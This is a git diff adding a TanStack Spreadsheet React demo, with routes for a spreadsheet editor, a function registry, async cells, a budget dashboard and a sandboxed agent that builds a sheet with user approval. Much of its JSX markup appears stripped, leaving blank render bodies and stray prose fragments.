+/** The budget classifier — a deterministic "System One" model (mocked). */
+const RULES: Array = [
+ {
+ match: /aws|cloud|gcp|azure|render|vercel/i,
+ choice: 'Cloud',
+ confidence: 0.97,
+ },
+ {
+ match: /figma|notion|slack|github|subscription|saas/i,
+ choice: 'Software',
+ confidence: 0.93,
+ },
+ {
+ match: /contractor|invoice|consult/i,
+ choice: 'Contractors',
+ confidence: 0.88,
+ },
+ {
+ match: /uber|flight|hotel|travel|lyft/i,
+ choice: 'Travel',
+ confidence: 0.9,
+ },
+ { match: /ads?|marketing|campaign/i, choice: 'Marketing', confidence: 0.84 },
+]
+
+export const CATEGORIES = 'Cloud,Software,Contractors,Travel,Marketing'
+
+/** Shared model (client registers the pack descriptors; server runs the port). */
+export const decisionModel = mockDecisionModel({
+ id: 'mock-jev',
+ version: '2026.11',
+ rules: RULES,
+ fallback: { choice: 'Uncategorized', confidence: 0.42 },
+})
+
+/** The `JEV.*` and `REST.*` packs — descriptors registered per-workbook. */
+export const jevPack = decisionPack(decisionModel)
+export const restDataPack = restPack({ version: '1' })
+
+/** A canned "REST endpoint" the server port serves (deterministic, offline). */
+export const CANNED_ENDPOINTS: Record = {
+ 'https://rates.demo/runway': { months: 11.2, asOf: '2026-11-01' },
+}
diff --git a/examples/react/spreadsheet-demo/src/packs.ts b/examples/react/spreadsheet-demo/src/packs.ts
new file mode 100644
index 0000000000..b45962c34c
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/packs.ts
@@ -0,0 +1,48 @@
+import { toNum } from '@tanstack/spreadsheet-core'
+import type { FunctionPack } from '@tanstack/spreadsheet-core'
+
+/**
+ * A test/demo sync pack (§2) — the kind a domain team would ship. Namespaced
+ * under `ACME`, registered per-workbook, impossible to shadow a builtin.
+ */
+export function acmePack(): FunctionPack {
+ return {
+ name: 'ACME',
+ version: '1.0.0',
+ functions: [
+ {
+ name: 'ACME.TAX',
+ kind: 'sync',
+ minArgs: 1,
+ maxArgs: 1,
+ description: 'Apply the ACME 9% tax rate to an amount.',
+ returns: 'number',
+ args: [{ name: 'amount', type: 'number' }],
+ evaluate(ctx) {
+ const n = toNum(ctx.args.scalar(0))
+ return typeof n === 'number' ? n * 0.09 : n
+ },
+ },
+ {
+ name: 'ACME.MARGIN',
+ kind: 'sync',
+ minArgs: 2,
+ maxArgs: 2,
+ description: 'Gross margin % from revenue and cost.',
+ returns: 'number',
+ args: [
+ { name: 'revenue', type: 'number' },
+ { name: 'cost', type: 'number' },
+ ],
+ evaluate(ctx) {
+ const rev = toNum(ctx.args.scalar(0))
+ const cost = toNum(ctx.args.scalar(1))
+ if (typeof rev !== 'number') return rev
+ if (typeof cost !== 'number') return cost
+ if (rev === 0) return { kind: 'error', code: '#DIV/0!' }
+ return Math.round(((rev - cost) / rev) * 1000) / 10
+ },
+ },
+ ],
+ }
+}
diff --git a/examples/react/spreadsheet-demo/src/routeTree.gen.ts b/examples/react/spreadsheet-demo/src/routeTree.gen.ts
new file mode 100644
index 0000000000..8db44fca69
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/routeTree.gen.ts
@@ -0,0 +1,247 @@
+/* eslint-disable */
+
+// @ts-nocheck
+
+// noinspection JSUnusedGlobalSymbols
+
+// This file was automatically generated by TanStack Router.
+// You should NOT make any changes in this file as it will be overwritten.
+// Additionally, you should also exclude this file from your linter and/or formatter to prevent it from being checked or modified.
+
+import { Route as rootRouteImport } from './routes/__root'
+import { Route as IndexRouteImport } from './routes/index'
+import { Route as AgentRouteImport } from './routes/agent'
+import { Route as AsyncRouteImport } from './routes/async'
+import { Route as BudgetRouteImport } from './routes/budget'
+import { Route as FunctionsRouteImport } from './routes/functions'
+import { Route as SimpleSpreadsheetRouteImport } from './routes/simple-spreadsheet'
+import { Route as StateManagerRouteImport } from './routes/state-manager'
+import { Route as ApiAgentRouteImport } from './routes/api.agent'
+import { Route as BudgetIndexRouteImport } from './routes/budget.index'
+
+const IndexRoute = IndexRouteImport.update({
+ id: '/',
+ path: '/',
+ getParentRoute: () => rootRouteImport,
+} as any)
+const AgentRoute = AgentRouteImport.update({
+ id: '/agent',
+ path: '/agent',
+ getParentRoute: () => rootRouteImport,
+} as any)
+const AsyncRoute = AsyncRouteImport.update({
+ id: '/async',
+ path: '/async',
+ getParentRoute: () => rootRouteImport,
+} as any)
+const BudgetRoute = BudgetRouteImport.update({
+ id: '/budget',
+ path: '/budget',
+ getParentRoute: () => rootRouteImport,
+} as any)
+const FunctionsRoute = FunctionsRouteImport.update({
+ id: '/functions',
+ path: '/functions',
+ getParentRoute: () => rootRouteImport,
+} as any)
+const SimpleSpreadsheetRoute = SimpleSpreadsheetRouteImport.update({
+ id: '/simple-spreadsheet',
+ path: '/simple-spreadsheet',
+ getParentRoute: () => rootRouteImport,
+} as any)
+const StateManagerRoute = StateManagerRouteImport.update({
+ id: '/state-manager',
+ path: '/state-manager',
+ getParentRoute: () => rootRouteImport,
+} as any)
+const ApiAgentRoute = ApiAgentRouteImport.update({
+ id: '/api/agent',
+ path: '/api/agent',
+ getParentRoute: () => rootRouteImport,
+} as any)
+const BudgetIndexRoute = BudgetIndexRouteImport.update({
+ id: '/',
+ path: '/',
+ getParentRoute: () => BudgetRoute,
+} as any)
+
+export interface FileRoutesByFullPath {
+ '/': typeof IndexRoute
+ '/agent': typeof AgentRoute
+ '/async': typeof AsyncRoute
+ '/budget': typeof BudgetRouteWithChildren
+ '/functions': typeof FunctionsRoute
+ '/simple-spreadsheet': typeof SimpleSpreadsheetRoute
+ '/state-manager': typeof StateManagerRoute
+ '/api/agent': typeof ApiAgentRoute
+ '/budget/': typeof BudgetIndexRoute
+}
+export interface FileRoutesByTo {
+ '/': typeof IndexRoute
+ '/agent': typeof AgentRoute
+ '/async': typeof AsyncRoute
+ '/functions': typeof FunctionsRoute
+ '/simple-spreadsheet': typeof SimpleSpreadsheetRoute
+ '/state-manager': typeof StateManagerRoute
+ '/api/agent': typeof ApiAgentRoute
+ '/budget': typeof BudgetIndexRoute
+}
+export interface FileRoutesById {
+ __root__: typeof rootRouteImport
+ '/': typeof IndexRoute
+ '/agent': typeof AgentRoute
+ '/async': typeof AsyncRoute
+ '/budget': typeof BudgetRouteWithChildren
+ '/functions': typeof FunctionsRoute
+ '/simple-spreadsheet': typeof SimpleSpreadsheetRoute
+ '/state-manager': typeof StateManagerRoute
+ '/api/agent': typeof ApiAgentRoute
+ '/budget/': typeof BudgetIndexRoute
+}
+export interface FileRouteTypes {
+ fileRoutesByFullPath: FileRoutesByFullPath
+ fullPaths:
+ | '/'
+ | '/agent'
+ | '/async'
+ | '/budget'
+ | '/functions'
+ | '/simple-spreadsheet'
+ | '/state-manager'
+ | '/api/agent'
+ | '/budget/'
+ fileRoutesByTo: FileRoutesByTo
+ to:
+ | '/'
+ | '/agent'
+ | '/async'
+ | '/functions'
+ | '/simple-spreadsheet'
+ | '/state-manager'
+ | '/api/agent'
+ | '/budget'
+ id:
+ | '__root__'
+ | '/'
+ | '/agent'
+ | '/async'
+ | '/budget'
+ | '/functions'
+ | '/simple-spreadsheet'
+ | '/state-manager'
+ | '/api/agent'
+ | '/budget/'
+ fileRoutesById: FileRoutesById
+}
+export interface RootRouteChildren {
+ IndexRoute: typeof IndexRoute
+ AgentRoute: typeof AgentRoute
+ AsyncRoute: typeof AsyncRoute
+ BudgetRoute: typeof BudgetRouteWithChildren
+ FunctionsRoute: typeof FunctionsRoute
+ SimpleSpreadsheetRoute: typeof SimpleSpreadsheetRoute
+ StateManagerRoute: typeof StateManagerRoute
+ ApiAgentRoute: typeof ApiAgentRoute
+}
+
+declare module '@tanstack/react-router' {
+ interface FileRoutesByPath {
+ '/': {
+ id: '/'
+ path: '/'
+ fullPath: '/'
+ preLoaderRoute: typeof IndexRouteImport
+ parentRoute: typeof rootRouteImport
+ }
+ '/agent': {
+ id: '/agent'
+ path: '/agent'
+ fullPath: '/agent'
+ preLoaderRoute: typeof AgentRouteImport
+ parentRoute: typeof rootRouteImport
+ }
+ '/async': {
+ id: '/async'
+ path: '/async'
+ fullPath: '/async'
+ preLoaderRoute: typeof AsyncRouteImport
+ parentRoute: typeof rootRouteImport
+ }
+ '/budget': {
+ id: '/budget'
+ path: '/budget'
+ fullPath: '/budget'
+ preLoaderRoute: typeof BudgetRouteImport
+ parentRoute: typeof rootRouteImport
+ }
+ '/functions': {
+ id: '/functions'
+ path: '/functions'
+ fullPath: '/functions'
+ preLoaderRoute: typeof FunctionsRouteImport
+ parentRoute: typeof rootRouteImport
+ }
+ '/simple-spreadsheet': {
+ id: '/simple-spreadsheet'
+ path: '/simple-spreadsheet'
+ fullPath: '/simple-spreadsheet'
+ preLoaderRoute: typeof SimpleSpreadsheetRouteImport
+ parentRoute: typeof rootRouteImport
+ }
+ '/state-manager': {
+ id: '/state-manager'
+ path: '/state-manager'
+ fullPath: '/state-manager'
+ preLoaderRoute: typeof StateManagerRouteImport
+ parentRoute: typeof rootRouteImport
+ }
+ '/api/agent': {
+ id: '/api/agent'
+ path: '/api/agent'
+ fullPath: '/api/agent'
+ preLoaderRoute: typeof ApiAgentRouteImport
+ parentRoute: typeof rootRouteImport
+ }
+ '/budget/': {
+ id: '/budget/'
+ path: '/'
+ fullPath: '/budget/'
+ preLoaderRoute: typeof BudgetIndexRouteImport
+ parentRoute: typeof BudgetRoute
+ }
+ }
+}
+
+interface BudgetRouteChildren {
+ BudgetIndexRoute: typeof BudgetIndexRoute
+}
+
+const BudgetRouteChildren: BudgetRouteChildren = {
+ BudgetIndexRoute: BudgetIndexRoute,
+}
+
+const BudgetRouteWithChildren =
+ BudgetRoute._addFileChildren(BudgetRouteChildren)
+
+const rootRouteChildren: RootRouteChildren = {
+ IndexRoute: IndexRoute,
+ AgentRoute: AgentRoute,
+ AsyncRoute: AsyncRoute,
+ BudgetRoute: BudgetRouteWithChildren,
+ FunctionsRoute: FunctionsRoute,
+ SimpleSpreadsheetRoute: SimpleSpreadsheetRoute,
+ StateManagerRoute: StateManagerRoute,
+ ApiAgentRoute: ApiAgentRoute,
+}
+export const routeTree = rootRouteImport
+ ._addFileChildren(rootRouteChildren)
+ ._addFileTypes()
+
+import type { getRouter } from './router.tsx'
+import type { createStart } from '@tanstack/react-start'
+declare module '@tanstack/react-start' {
+ interface Register {
+ ssr: true
+ router: Awaited>
+ }
+}
diff --git a/examples/react/spreadsheet-demo/src/router.tsx b/examples/react/spreadsheet-demo/src/router.tsx
new file mode 100644
index 0000000000..e59e199b48
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/router.tsx
@@ -0,0 +1,10 @@
+import { createRouter } from '@tanstack/react-router'
+import { routeTree } from './routeTree.gen'
+
+export function getRouter() {
+ return createRouter({
+ routeTree,
+ scrollRestoration: true,
+ defaultPreload: 'intent',
+ })
+}
diff --git a/examples/react/spreadsheet-demo/src/routes/__root.tsx b/examples/react/spreadsheet-demo/src/routes/__root.tsx
new file mode 100644
index 0000000000..cbbcb5f665
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/routes/__root.tsx
@@ -0,0 +1,111 @@
+import { useState } from 'react'
+import {
+ HeadContent,
+ Link,
+ Outlet,
+ Scripts,
+ createRootRoute,
+} from '@tanstack/react-router'
+import appCss from '../styles.css?url'
+import type { ReactNode } from 'react'
+
+export const Route = createRootRoute({
+ head: () => ({
+ meta: [
+ { charSet: 'utf-8' },
+ { name: 'viewport', content: 'width=device-width, initial-scale=1' },
+ { title: 'TanStack Spreadsheet — demo' },
+ ],
+ links: [{ rel: 'stylesheet', href: appCss }],
+ }),
+ component: RootComponent,
+})
+
+/** One route per capability (§8.0): the demo is a tour, not a mega-screen. */
+const NAV: Array<{ to: string; label: string; blurb: string }> = [
+ { to: '/', label: 'Tour', blurb: 'start here' },
+ {
+ to: '/simple-spreadsheet',
+ label: 'Simple Spreadsheet',
+ blurb: 'the spreadsheet (M1–M7)',
+ },
+ {
+ to: '/state-manager',
+ label: 'State Manager',
+ blurb: 'form in → sheet → values out',
+ },
+ { to: '/functions', label: 'Functions', blurb: 'registry + catalog (M8)' },
+ { to: '/async', label: 'Async', blurb: 'pending → resolved (M9)' },
+ {
+ to: '/agent',
+ label: 'Agent',
+ blurb: 'live Code Mode builds a sheet (M15)',
+ },
+ { to: '/budget', label: 'Fluid Budget', blurb: 'the capstone (M14)' },
+]
+
+function RootComponent() {
+ const [navOpen, setNavOpen] = useState(false)
+ const close = () => setNavOpen(false)
+ return (
+
+
+
+ {navOpen && }
+
+
+
+
+
+
+ )
+}
+
+function RootDocument({ children }: Readonly<{ children: ReactNode }>) {
+ return (
+
+
+
+
+
+ {children}
+
+
+
+ )
+}
diff --git a/examples/react/spreadsheet-demo/src/routes/agent.tsx b/examples/react/spreadsheet-demo/src/routes/agent.tsx
new file mode 100644
index 0000000000..42aa92a248
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/routes/agent.tsx
@@ -0,0 +1,522 @@
+import { useEffect, useRef, useState } from 'react'
+import ReactMarkdown from 'react-markdown'
+import remarkGfm from 'remark-gfm'
+import { createFileRoute } from '@tanstack/react-router'
+import { colToLetter, formatValue } from '@tanstack/spreadsheet-core'
+import { useRevision } from '@tanstack/react-spreadsheet'
+import { fetchServerSentEvents, useChat } from '@tanstack/ai-react'
+import {
+ approveAndRegister,
+ exportCodeFunctions,
+} from '@tanstack/spreadsheet-codemode'
+import { createAgentCodeMode } from '../agent/tools'
+import {
+ AGENT_COLS,
+ AGENT_ROWS,
+ CELLS,
+ RUNWAY_FORMULA,
+ freshWorkbook,
+} from '../agent/model'
+import { isError, isPendingValue } from '../seed'
+import type { AgentEvent } from '../agent/tools'
+import type { CellValue, Ref, Workbook } from '@tanstack/spreadsheet-core'
+import type { StagedFunction } from '@tanstack/spreadsheet-codemode'
+
+export const Route = createFileRoute('/agent')({
+ component: AgentRoute,
+})
+
+type CodeMode = Awaited>
+
+const ACT1_PROMPT =
+ 'Build a Q1 budget tracker: five categories with anchor budgets, ±20% guardrail bands, actuals, an OK/OVER/UNDER status, totals, and a runway line. Then verify your work.'
+const ACT2_PROMPT =
+ 'Runway is wrong — it should exclude one-off hardware spikes.'
+
+function AgentRoute() {
+ const [wb, setWb] = useState(freshWorkbook)
+ const [resetN, setResetN] = useState(0)
+ const [cm, setCm] = useState(null)
+ // cm is built in the outer component so useChat has stable client tools from
+ // the first render; its onEvent is routed to the inner demo via this ref.
+ const eventsRef = useRef<(e: AgentEvent) => void>(() => {})
+
+ useEffect(() => {
+ let alive = true
+ setCm(null)
+ createAgentCodeMode(wb, { onEvent: (e) => eventsRef.current(e) }).then(
+ (r) => {
+ if (alive) setCm(r)
+ },
+ )
+ return () => {
+ alive = false
+ }
+ }, [wb])
+
+ return (
+
+
+
Agent builds a sheet
+
+ A live agent (Claude Sonnet 4.6, via TanStack AI Code Mode)
+ builds a Q1 budget tracker by writing TypeScript that runs in a{' '}
+ QuickJS-WASM sandbox in your browser and calls tools that
+ mutate this workbook. When the runway definition is wrong, it authors
+ a Code Mode function, tests it, and — on your approval — it's
+ registered and wired into the sheet. Only the model completion runs
+ server-side (the API key never reaches the browser).
+
+ The classification columns call a mock decision model (
+ JEV.*, kind: 'async') and the live
+ figure calls REST.GET — both through one TanStack Start{' '}
+ server function. The evaluator never blocks: cells read{' '}
+ pending (…), the scheduler batches by function,
+ and a normal recalc fills them in on resolution. Row 4 lands below the
+ confidence threshold and flags itself for review — by an ordinary
+ formula.
+
+ Every result is cached by call key (function + model version +
+ args). Add a transaction: only the new row round-trips — identical
+ descriptions dedupe, and the whole fill is one batch per function.
+
+ return (
+ {
+ setWb(resetBudget())
+ setResetN((n) => n + 1)
+ }}
+ />
+ )
+}
+
+const num = (v: CellValue): number => (typeof v === 'number' ? v : NaN)
+
+/** One living workbook: spreadsheet + data on the left, the guardrail graph on the right (60/40). */
+function BudgetPage({ wb, onReset }: { wb: Workbook; onReset: () => void }) {
+ const rev = useRevision(wb)
+ return (
+
+
+
+
Dashboard
+
+
+
+
+
Spreadsheet
+
+ Every number here is live. The{' '}
+ underlined blue cells are editable raw inputs (category
+ anchors, transaction amounts, cash/payroll/one-off) — click one,
+ type a value, press Enter, and watch the graph and runway react.
+ Everything else (Actual, Lower, Upper, Total, burn, runway) is a{' '}
+ computed formula and is read-only — hover to read its
+ equation.
+
+ The Approve button is enabled by a cell (
+ =COUNTIF(budget!F2:F6,"OK")=5), read through a §6.1 Store
+ facade. Change the guardrail equation and the button's behaviour
+ changes — no code edited.
+
+ One living workbook, three renderings — dashboard, spreadsheet, and
+ review queue, all on this page. An anchor budget per category with
+ ±20% guardrail bands as formulas; actuals summed from an
+ async-classified feed; a runway driven by the Code Mode{' '}
+ FN.TRUE_RUNWAY. Flexibility without loosening control —
+ the guardrails are formulas, not vibes.
+
+ Builtins and custom packs register through one mechanism (§2). The
+ descriptor is the single source for validation, help, and this
+ catalog. Bare names are reserved for builtins; packs are namespaced
+ and cannot shadow them.
+
+ )
+}
+
+function argSummary(e: FunctionCatalogEntry): string {
+ if (e.args && e.args.length) {
+ return e.args.map((a) => (a.optional ? `[${a.name}]` : a.name)).join(', ')
+ }
+ const max = e.maxArgs === Infinity ? '…' : e.maxArgs
+ return e.minArgs === e.maxArgs ? `${e.minArgs}` : `${e.minArgs}–${max}`
+}
diff --git a/examples/react/spreadsheet-demo/src/routes/index.tsx b/examples/react/spreadsheet-demo/src/routes/index.tsx
new file mode 100644
index 0000000000..b4af673cad
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/routes/index.tsx
@@ -0,0 +1,78 @@
+import { Link, createFileRoute } from '@tanstack/react-router'
+
+export const Route = createFileRoute('/')({
+ component: Tour,
+})
+
+const CARDS: Array<{
+ to: string
+ title: string
+ milestone: string
+ body: string
+}> = [
+ {
+ to: '/simple-spreadsheet',
+ title: 'The spreadsheet',
+ milestone: 'M1–M7',
+ body: 'The headless engine itself — parser, dependency graph, evaluator. Import a real .xlsx, edit a total, watch everything recompute live.',
+ },
+ {
+ to: '/state-manager',
+ title: 'Spreadsheet as state manager',
+ milestone: 'M1–M7',
+ body: 'The headless engine as your app’s compute layer. A plain form writes input cells; derived numbers read straight back out of the workbook — the spreadsheet is the state, with a live read-only preview of the cells and formulae.',
+ },
+ {
+ to: '/functions',
+ title: 'Function registry',
+ milestone: 'M8',
+ body: 'Custom functions as plugins, not core code. Browse the function catalog, toggle a namespaced demo pack, and evaluate formulas against it.',
+ },
+ {
+ to: '/async',
+ title: 'Async cell equations',
+ milestone: 'M9',
+ body: 'Decision models and live data as cells. A classification column fills down pending → resolved through a cached, graph-aware scheduler — the evaluator never blocks.',
+ },
+ {
+ to: '/agent',
+ title: 'Agent builds a sheet',
+ milestone: 'M11·M15',
+ body: 'A live agent (Claude Sonnet 4.6, TanStack AI Code Mode) writes TypeScript that runs in a QuickJS-WASM sandbox in your browser to build a budget tracker, then authors a Code Mode function and — on your approval — wires it into the sheet.',
+ },
+]
+
+function Tour() {
+ return (
+
+
+
A spreadsheet engine you can build an application on
+
+ A headless, framework-agnostic compute core with TanStack Table on
+ top. Each route below is one capability — a deep-linkable demo of one
+ seam. This shell is a TanStack Start app; the workbook runs on the
+ client, and async execution runs on a server route.
+
+
+
+
+ {CARDS.map((c) => (
+
+ {c.milestone}
+
{c.title}
+
{c.body}
+ Open {c.title} →
+
+ ))}
+
+
+
+
+ )
+}
diff --git a/examples/react/spreadsheet-demo/src/routes/simple-spreadsheet.tsx b/examples/react/spreadsheet-demo/src/routes/simple-spreadsheet.tsx
new file mode 100644
index 0000000000..c32e464b17
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/routes/simple-spreadsheet.tsx
@@ -0,0 +1,444 @@
+import { useCallback, useEffect, useRef, useState } from 'react'
+import { createFileRoute } from '@tanstack/react-router'
+import { colToLetter, formatValue } from '@tanstack/spreadsheet-core'
+import { exportXlsx, importXlsx } from '@tanstack/spreadsheet-xlsx'
+import { useSpreadsheetTable } from '@tanstack/react-spreadsheet/table'
+import { sheetColumnId, sheetRowId } from '@tanstack/spreadsheet-table'
+import { sampleXlsxBytes } from '../sample'
+import { SEED_SHEET, isError, seedWorkbook } from '../seed'
+import type { CellValue, Clipboard, Workbook } from '@tanstack/spreadsheet-core'
+
+export const Route = createFileRoute('/simple-spreadsheet')({
+ component: SimpleSpreadsheet,
+})
+
+const ROWS = 16
+const COLS = 7
+const clampRow = (r: number) => Math.max(0, Math.min(ROWS - 1, r))
+const cellId = (row: number, col: number) => ({
+ rowId: sheetRowId({ sheetRow: row }),
+ columnId: sheetColumnId(col),
+})
+
+function SimpleSpreadsheet() {
+ const [wb, setWb] = useState(seedWorkbook)
+ const [sheet, setSheet] = useState(SEED_SHEET)
+
+ // The agnostic v9 controller, wrapped for React. Selection, the formula bar,
+ // fill, and clipboard all flow through `table.*` — React only renders.
+ const table = useSpreadsheetTable(wb, {
+ sheet,
+ rows: ROWS,
+ cols: COLS,
+ gutter: false,
+ })
+
+ const [draft, setDraft] = useState('')
+ const [query, setQuery] = useState('SUM(E2:E4) / COUNTA(A2:A4)')
+ const dirty = useRef(false)
+ const clip = useRef(null)
+ const fxRef = useRef(null)
+ // Pending rAF that focuses the formula bar after a click, so a double-click
+ // into the in-cell editor can cancel it before it steals focus.
+ const fxFocusRaf = useRef(null)
+
+ // In-cell editing. The editor is a second view over the same `draft`/`commit`
+ // the formula bar uses — so a cell edit takes the identical, proven commit path
+ // (grid recompute + selection move) and only differs in where you type. `null`
+ // means no cell is being edited inline.
+ const [editing, setEditing] = useState<{ row: number; col: number } | null>(
+ null,
+ )
+ const editRef = useRef(null)
+ // Whether the next editor mount should select-all (double-click) vs. place the
+ // caret at the end (seeded by a typed character).
+ const editSelect = useRef(true)
+
+ const sheets = wb.atoms.sheets.get()
+
+ // Focused cell in sheet coordinates, read back off the table instance.
+ const focusedCell = table.getFocusedCell()
+ const focus =
+ focusedCell && !focusedCell.column.columnDef.meta?.isGutter
+ ? {
+ row: focusedCell.row.original.sheetRow,
+ col: focusedCell.column.columnDef.meta!.col,
+ }
+ : null
+
+ // Default the focus to the first data cell when the table (re)builds.
+ useEffect(() => {
+ const id = cellId(1, 1)
+ table.setFocusedCell(id.rowId, id.columnId)
+ table.selectCellRange({
+ anchorRowId: id.rowId,
+ anchorColumnId: id.columnId,
+ focusRowId: id.rowId,
+ focusColumnId: id.columnId,
+ })
+ }, [table])
+
+ // Keep the formula-bar draft in sync with the focused cell unless being edited.
+ const focusKey = focus ? `${focus.row}:${focus.col}` : ''
+ useEffect(() => {
+ if (!dirty.current) setDraft(table.getFormulaBarValue())
+ }, [focusKey, table])
+
+ const selectCell = (row: number, col: number) => {
+ if (dirty.current) {
+ table.commitFocusedCell(draft)
+ dirty.current = false
+ }
+ const id = cellId(row, col)
+ table.setFocusedCell(id.rowId, id.columnId)
+ table.selectCellRange({
+ anchorRowId: id.rowId,
+ anchorColumnId: id.columnId,
+ focusRowId: id.rowId,
+ focusColumnId: id.columnId,
+ })
+ // Focus the formula bar on the next frame so a single click lets you type
+ // there. Held in a ref so an immediately-following double-click (which opens
+ // the in-cell editor) can cancel it — otherwise it would steal focus back.
+ if (fxFocusRaf.current != null) cancelAnimationFrame(fxFocusRaf.current)
+ fxFocusRaf.current = requestAnimationFrame(() => {
+ fxFocusRaf.current = null
+ fxRef.current?.focus()
+ })
+ }
+
+ const commit = useCallback(
+ (moveDown: boolean) => {
+ table.commitFocusedCell(draft)
+ dirty.current = false
+ if (moveDown && focus) selectCell(clampRow(focus.row + 1), focus.col)
+ },
+ [table, draft, focus],
+ )
+
+ // Open an in-cell editor on the given cell. `initial` seeds the draft (e.g. the
+ // first typed character); omitted, it loads the cell's editable content and
+ // selects it, matching the formula bar. Focus/selection of the editor is done
+ // by the mount effect below, so it is reliable before the first keystroke.
+ const beginEdit = (row: number, col: number, initial?: string) => {
+ // Cancel the pending formula-bar focus from the opening click, so it does
+ // not steal focus away from the editor we are about to mount.
+ if (fxFocusRaf.current != null) {
+ cancelAnimationFrame(fxFocusRaf.current)
+ fxFocusRaf.current = null
+ }
+ const id = cellId(row, col)
+ table.setFocusedCell(id.rowId, id.columnId)
+ table.selectCellRange({
+ anchorRowId: id.rowId,
+ anchorColumnId: id.columnId,
+ focusRowId: id.rowId,
+ focusColumnId: id.columnId,
+ })
+ editSelect.current = initial === undefined
+ if (initial !== undefined) {
+ dirty.current = true
+ setDraft(initial)
+ } else {
+ dirty.current = false
+ setDraft(table.getFormulaBarValue())
+ }
+ setEditing({ row, col })
+ }
+
+ // Close the editor after committing (via the shared `commit`) or cancelling.
+ const endEdit = () => setEditing(null)
+
+ const cancelEdit = () => {
+ dirty.current = false
+ setDraft(table.getFormulaBarValue())
+ endEdit()
+ }
+
+ // Focus (and optionally select) the in-cell editor when it opens. Keyed on the
+ // editing cell, so it runs once per edit session — not on every keystroke.
+ useEffect(() => {
+ if (!editing) return
+ const el = editRef.current
+ if (!el) return
+ el.focus()
+ if (editSelect.current) el.select()
+ else {
+ const end = el.value.length
+ el.setSelectionRange(end, end)
+ }
+ }, [editing])
+
+ const onImport = async (e: React.ChangeEvent) => {
+ const file = e.target.files?.[0]
+ e.target.value = ''
+ if (!file) return
+ const buf = await file.arrayBuffer()
+ const { workbook, sheetNames } = importXlsx(buf)
+ dirty.current = false
+ setWb(workbook)
+ setSheet(sheetNames[0] ?? workbook.atoms.sheets.get()[0])
+ }
+
+ const onExport = () => {
+ const bytes = exportXlsx(wb)
+ const blob = new Blob([bytes as BlobPart], {
+ type: 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+ })
+ const url = URL.createObjectURL(blob)
+ const a = document.createElement('a')
+ a.href = url
+ a.download = `${sheet || 'spreadsheet'}.xlsx`
+ a.click()
+ URL.revokeObjectURL(url)
+ }
+
+ const loadSample = () => {
+ dirty.current = false
+ setWb(seedWorkbook())
+ setSheet(SEED_SHEET)
+ }
+
+ const loadXlsxSample = () => {
+ dirty.current = false
+ const { workbook, sheetNames } = importXlsx(sampleXlsxBytes())
+ setWb(workbook)
+ setSheet(sheetNames[0])
+ setQuery('SUM(C2:C4) - SUM(B2:B4)')
+ }
+
+ const rows = table.getRowModel().rows
+ const selRect = table.getSelectionRect()
+ const inSelection = (row: number, col: number) =>
+ !!selRect &&
+ row >= selRect.r0 &&
+ row <= selRect.r1 &&
+ col >= selRect.c0 &&
+ col <= selRect.c1
+
+ let queryOut: string
+ let queryOk = true
+ try {
+ queryOut = formatValue(wb.runFormula(query, { sheet }))
+ } catch (err) {
+ queryOut = (err as Error).message
+ queryOk = false
+ }
+
+ return (
+
+
+
Simple Spreadsheet
+
+ The agnostic v9 interaction layer (createSpreadsheetTable
+ ) driven through useSpreadsheetTable. Selection, the
+ formula bar, fill, and clipboard all flow through the table instance —
+ React only renders.
+
+ )
+}
diff --git a/examples/react/spreadsheet-demo/src/routes/state-manager.tsx b/examples/react/spreadsheet-demo/src/routes/state-manager.tsx
new file mode 100644
index 0000000000..9aa4126620
--- /dev/null
+++ b/examples/react/spreadsheet-demo/src/routes/state-manager.tsx
@@ -0,0 +1,332 @@
+import { useMemo, useState } from 'react'
+import { createFileRoute } from '@tanstack/react-router'
+import {
+ colToLetter,
+ createWorkbook,
+ formatValue,
+} from '@tanstack/spreadsheet-core'
+import { isError } from '../seed'
+import type { CellValue, Ref, Workbook } from '@tanstack/spreadsheet-core'
+
+export const Route = createFileRoute('/state-manager')({
+ component: StateManager,
+})
+
+const SHEET = 'trip'
+
+// The whole demo is driven by this one declarative sheet spec. Inputs live in
+// column B rows 2–8; the form writes them. Formulas live in column B rows
+// 11–15; they read the inputs and each other. Nothing in React computes a
+// total — the workbook is the single source of truth, and the form is just an
+// editor for a handful of its cells.
+
+interface InputSpec {
+ key: string
+ row: number // 0-based; A1 row is row + 1
+ label: string
+ value: number
+ prefix?: string
+ unit?: string
+ min?: number
+ step?: number
+ fmt?: string
+}
+
+interface OutputSpec {
+ row: number
+ label: string
+ formula: string
+ hero?: boolean
+}
+
+const INPUTS: Array = [
+ {
+ key: 'distance',
+ row: 1,
+ label: 'Round-trip distance',
+ value: 900,
+ unit: 'mi',
+ min: 0,
+ step: 10,
+ },
+ {
+ key: 'mpg',
+ row: 2,
+ label: 'Fuel efficiency',
+ value: 28,
+ unit: 'mpg',
+ min: 1,
+ step: 1,
+ },
+ {
+ key: 'gas',
+ row: 3,
+ label: 'Gas price',
+ value: 3.85,
+ prefix: '$',
+ unit: '/gal',
+ min: 0,
+ step: 0.05,
+ fmt: '$0.00',
+ },
+ { key: 'travelers', row: 4, label: 'Travelers', value: 4, min: 1, step: 1 },
+ { key: 'nights', row: 5, label: 'Nights away', value: 3, min: 0, step: 1 },
+ {
+ key: 'lodging',
+ row: 6,
+ label: 'Lodging',
+ value: 140,
+ prefix: '$',
+ unit: '/night',
+ min: 0,
+ step: 5,
+ fmt: '$#,##0',
+ },
+ {
+ key: 'food',
+ row: 7,
+ label: 'Food',
+ value: 35,
+ prefix: '$',
+ unit: '/person·day',
+ min: 0,
+ step: 5,
+ fmt: '$#,##0',
+ },
+]
+
+const OUTPUTS: Array = [
+ // gallons = distance / mpg, then × price per gallon
+ { row: 10, label: 'Fuel', formula: '=ROUND(B2/B3*B4,2)' },
+ // nights × nightly rate
+ { row: 11, label: 'Lodging', formula: '=B6*B7' },
+ // per-person-per-day × travelers × days (days = nights + 1)
+ { row: 12, label: 'Food', formula: '=B8*B5*(B6+1)' },
+ { row: 13, label: 'Trip total', formula: '=SUM(B11:B13)', hero: true },
+ { row: 14, label: 'Per person', formula: '=ROUND(B14/B5,2)', hero: true },
+]
+
+const MONEY = '$#,##0.00'
+const INPUT_ROW = new Set(INPUTS.map((i) => i.row))
